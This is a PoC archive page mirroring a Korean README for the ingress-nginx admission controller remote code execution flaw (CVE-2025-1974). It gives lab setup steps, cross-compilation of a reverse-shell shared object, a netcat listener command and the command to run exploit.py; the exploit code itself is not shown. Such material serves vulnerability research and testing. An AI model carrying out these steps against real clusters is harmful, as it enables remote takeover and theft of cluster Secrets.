Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1359 CNY

100%

CVE-2025-1974 PoC — ingress-nginx admission controller RCE escalation

Source
Associated Vulnerability
Title: ingress-nginx admission controller RCE escalation (CVE-2025-1974)
Description:A security issue was discovered in Kubernetes where under certain conditions, an unauthenticated attacker with access to the pod network can achieve arbitrary code execution in the context of the ingress-nginx controller. This can lead to disclosure of Secrets accessible to the controller. (Note that in the default installation, the controller can access all Secrets cluster-wide.)
Description
CVE-2025-1974 PoC 코드
Readme
# CVE-2025-1974: Kubernetes Ingress Nginx Controller 취약점 분석 및 PoC 환경 구축

## 테스트 환경
- MacOS (M2)
- Ingress NGINX Controller 1.11.3 
- Rancher Desktop (Docker)
- Minikube (Kubernetes)


## 로컬 테스트 환경 세팅(M2 MacOS)
로컬 테스트를 위해 minikube를 설치

`minikube start --driver=docker`

아래 명령어로 ingress-nginx-controller를 구성

`kubectl apply -f ingress-nginx-controller.yml`


## port forwarding

Pods가 잘 동작하고잇는지 확인

`kubectl get pods -n ingress-nginx`

`kubectl describe <pod name> -n ingress-nginx`

Pods의 80, 8443(webhook)포트를 로컬의 8888, 1337 포트로 포트포워딩
(포트포워딩 80, 8443 모두 필요)

`kubectl port-forward -n ingress-nginx <pod name> 8888:80`

`kubectl port-forward -n ingress-nginx <pod name> 1337:8443`

## so(shard object library) 준비

rev_shell.c 에서 리버스쉘을 연결한 IP, Port 변경

MacOS(arm64)환경에서 컴파일, 테스트할 환경에 맞게 컴파일 필요

`aarch64-linux-gnu-gcc -shared -fPIC -o rev_shell.so rev_shell.c`

```
# 크로스컴파일러 설치
brew tap messense/macos-cross-toolchains
brew install aarch64-linux-gnu
```


## AdmissionReview 생성(선택, 기존의 생성된 파일을 이용해도 무방)
kube-review로 AdmissionReview 형태로 변환 (json)

`./kube-review-darwin-arm64 create admission_test.yml > admission_review_req_body.json`


## Exploit

리버스쉘을 위해 nc로 리버스쉘 연결 준비

`nc -lv 4444`

exploit.py에서 nginx, webhook의 host 및 port를 수정 후 실행

`python3 exploit.py`

![img.png](img.png)


File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →